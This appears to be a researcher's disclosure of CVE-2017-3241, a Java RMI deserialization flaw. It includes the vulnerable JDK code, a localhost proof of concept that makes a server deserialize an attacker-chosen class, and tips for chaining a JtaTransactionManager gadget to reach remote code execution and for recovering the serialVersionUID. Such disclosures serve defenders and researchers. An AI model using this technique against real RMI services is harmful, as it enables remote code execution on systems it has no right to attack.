I have seen some people are trying to explain cve-2017-3241, but their code really cannot do much. I just confirmed with Oracle that this CVE is assigned to the issue I reported.
If this vulnerability can only do DOS or cause minor issue, it won't get 9.0, right?
I called this issue unrestricted deserialization and possible remote code execution.

For a RMI service, I can send an object and make application deserialize that object as any class, as long as that class is serializable and exists in server class path. Combining with JtaTransactionManager issue(see 2016 black hat articles), I am able to launch RCE attack.

Combining with Apache common lib, RCE could also be possible, but I didn't try.

Ok, vulnerable code first, in sun.rmi.server.UnicastRef(link), you can findBelow code:

```
300   protected static Object More ...unmarshalValue(Class<?> type, ObjectInput in)
301       throws IOException, ClassNotFoundException
302   {
303       if (type.isPrimitive()) {
304           if (type == int.class) {
305               return Integer.valueOf(in.readInt());
306           } else if (type == boolean.class) {
307               return Boolean.valueOf(in.readBoolean());
308           } else if (type == byte.class) {
309               return Byte.valueOf(in.readByte());
310           } else if (type == char.class) {
311               return Character.valueOf(in.readChar());
312           } else if (type == short.class) {
313               return Short.valueOf(in.readShort());
314           } else if (type == long.class) {
315               return Long.valueOf(in.readLong());
316           } else if (type == float.class) {
317               return Float.valueOf(in.readFloat());
318           } else if (type == double.class) {
319               return Double.valueOf(in.readDouble());
320           } else {
321               throw new Error("Unrecognized primitive type: " + type);
322           }
323       } else {
324           return in.readObject();
325       }

326   }
```

At line 324, the issue is obvious.

Then, POC.

Assume target class is PublicKnown which exists in classpath, but is never used. Server and Client suppose to communicate by sending Message object. But at Client side attacker can build a PublicKnown class and just extends Message class. Then instantiate fake PublicKnown class and send to server. Server application will deserialize it. Please see example and more details below:

Server side code:

```
---------------------------------------------------------------------------------------------------------
package org.xfei.services;

import java.rmi.RemoteException;

import org.xfei.pojo.Message;

public interface Services extends java.rmi.Remote
{
        String sendMessage(Message msg) throws RemoteException;
}
---------------------------------------------------------------------------------------------------------

package org.xfei.server;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

import org.xfei.pojo.Message;
import org.xfei.services.Services;

public class RMIServer
implements Services {
public RMIServer() throws RemoteException {
}

public static void main(String args[]) throws Exception {
   System.out.println("RMI server started");
   RMIServer obj = new RMIServer();
    try {
        Services stub = (Services) UnicastRemoteObject.exportObject(obj,0);
```

```
        Registry reg;
        try {
            reg = LocateRegistry.createRegistry(1099);
            System.out.println("java RMI registry created.");
        } catch(Exception e) {
            System.out.println("Using existing registry");
            reg = LocateRegistry.getRegistry();
        }
            reg.rebind("RMIServer", stub);
    } catch (RemoteException e) {
            e.printStackTrace();
    }
}

@Override
public String sendMessage(Message msg) throws RemoteException {
            System.out.print("Server side msg....");
            return msg.getMessage();
}
}
```

```
package org.xfei.pojo;

import java.io.Serializable;

public class Message implements Serializable {
            private String msg;
            public Message()
            {

            }

            public String getMessage() {
                        System.out.println("Processing message: "+msg);
                        return msg;
            }

            public void setMessage(String msg) {
                        this.msg = msg;
            }

            private final static long serialVersionUID = 1311618551071721443L;
}
```

```
package org.xfei.thirdparty;

import java.io.IOException;
import java.io.Serializable;

public class PublicKnown implements Serializable {
	private void readObject(java.io.ObjectInputStream stream)
	throws  ClassNotFoundException, IOException {
		stream.defaultReadObject();
		System.out.println("Server object initializing.....");
   }
	private final static long serialVersionUID = 7179259861090880402L;
}
```

Client side code:

```
package org.xfei.services;

import java.rmi.RemoteException;

import org.xfei.pojo.Message;

public interface Services extends java.rmi.Remote
{
	String sendMessage(Message msg) throws RemoteException;
}
```

```
package org.xfei.client;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import org.xfei.pojo.Message;
import org.xfei.services.Services;
import org.xfei.thirdparty.PublicKnown;

public class RMIClient {
	public static void main(String args[]) throws Exception {
		Registry registry = LocateRegistry.getRegistry("127.0.0.1");
		Services obj = (Services) registry.lookup("RMIServer");
		PublicKnown pub= new PublicKnown();
		pub.setMessage("Hello");
		System.out.println(obj.sendMessage(pub));
```

```
	}
}
```

```
package org.xfei.pojo;

import java.io.Serializable;

public class Message implements Serializable {
	private String msg;
	public Message()
	{

	}

	public String getMessage() {
		System.out.println("Processing message: "+msg);
		return msg;
	}

	public void setMessage(String msg) {
		this.msg = msg;
	}
	/*
	 * server will tell the serialVersionUID for first run, then just put it below
	 */
	private final static long serialVersionUID = 1311618551071721443L;
}
```

```
package org.xfei.thirdparty;

import java.io.IOException;
import java.io.Serializable;

import org.xfei.pojo.Message;

public class PublicKnown extends Message implements Serializable {
	private final static long serialVersionUID = 7179259861090880402L;
}
```

Output:

```
RMI server started
```

java RMI registry created.
Server object initializing.....

Last line shows server side invoked readObject() in PublicKnown. You can also try to add a global variable in PublicKnown, print it in readObject() and provide a value in object which will be sent from Client, then you will see that value in server console :)

Note:
1, Name and package of publicknown must be the same.
2, In real scenario, serialVersionUID should be unknown. That is fine. When you run the program, server will send serialVersionUID back in error message.
3, Server side would use client-supplied variable value in readObject().(that is why I could use JtaTransactionManager to perform RCE)

JtaTransactionManager example will be published on www.freebuf.com at Feb 15 in Chinese, but you can see the code. Just pay attention to client side "JtaTransactionManager" and Message class.